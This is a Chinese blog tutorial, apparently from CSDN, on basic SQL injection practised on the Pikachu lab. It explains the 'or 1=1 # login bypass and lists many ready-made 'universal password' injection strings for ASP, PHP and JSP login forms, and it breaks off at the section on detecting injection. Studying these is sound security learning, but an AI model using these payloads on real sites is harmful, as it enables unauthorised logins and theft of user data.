SQL基础注入详解

本文详细讲解了SQL注入的概念、原因、危害,以及如何判断和防范这种攻击。通过实例展示了如何利用万能密码进行登录,讨论了数字型、字符型、搜索型等多种注入方式,并提到了information_schema注入和函数报错注入等高级技巧。
摘要由CSDN通过智能技术生成

基于pikachu靶场进行实验,后续更新双注入,盲注,cookie注入,HTTP-Referer注入

一.什么是SQL注入

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。

二.SQL注入原因

产生SQL注入的原因是接受相关参数未经处理直接带入数据库进行查询操作,其产生与平台、脚本无关!

三.SQL注入危害

攻击者可以访问数据库中的数据,盗取用户的信息,造成用户的信息泄露,还可以对数据库的数据进行任意操作,添加管理员账户进行登录等等。

四.简单OR漏洞原理

剖析登录过程

  1. 正常情况下,我们在前端页面输入用户名和密码,前端数据会传到后端的数据库进行查询,验证是否存在此用户,其在数据库进行查询的语句如下:
select * from 表名 where name=‘xxx’ and password=’xxx‘;
  1. 若不对参数进行过滤,存在SQL注入,我们就可以构造以下的信息来进行登录:
用户名:'or 1=1 #
密码:任意
  1. 成功登录的原因是输入的信息传到后端数据库进行查询的语句如下:
select * from 表名 where name='' or 1=1 # ' and password=’xxx';

相当于

select * from 表名;

'号的作用是闭合变量的值,#号的作用是注释后面的语句,注释的符号根据数据库类型而定, or 1=1这个语句是无论什么时候都是正确的,因为or连接的条件中只要其一正确,命题就为真,恰好1=1这个条件就是恒成立的。

五.万能密码参考

此处出自https://me.csdn.net/dyw_666666

asp aspx万能密码

  1. or 1=1- -
  2. 'or 1=1- -
  3. "or 1=1- -
  4. ‘or"=’
  5. ‘or’=‘or’
  6. "or “a”="a
  7. ')or(‘a’='a
  8. a’or’ 1=1- -
  9. ‘or’a’='a
  10. “or”="a’='a
  11. 1 or 1’=‘1’=1
  12. 1 or ‘1’=‘1’ or 1=1
  13. 'or 1=1%00
  14. "or 1=1%00
  15. 'xor
  16. admin’ or ‘a’='a

php万能密码

  1. ‘or’=‘or’
  2. 'or 1=1/* 字符型 GPC是否开都可以使用
  3. User: something Password: ’ or ‘1’='1

jsp万能密码

  1. 1’or’1’='1
  2. admin’ or 1=1/*
  3. 用户名:admin 系统存在这个用户的时候 才用得上 密码:1’or’1’='1

六.思路

在这里插入图片描述

七.判断存在SQL注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值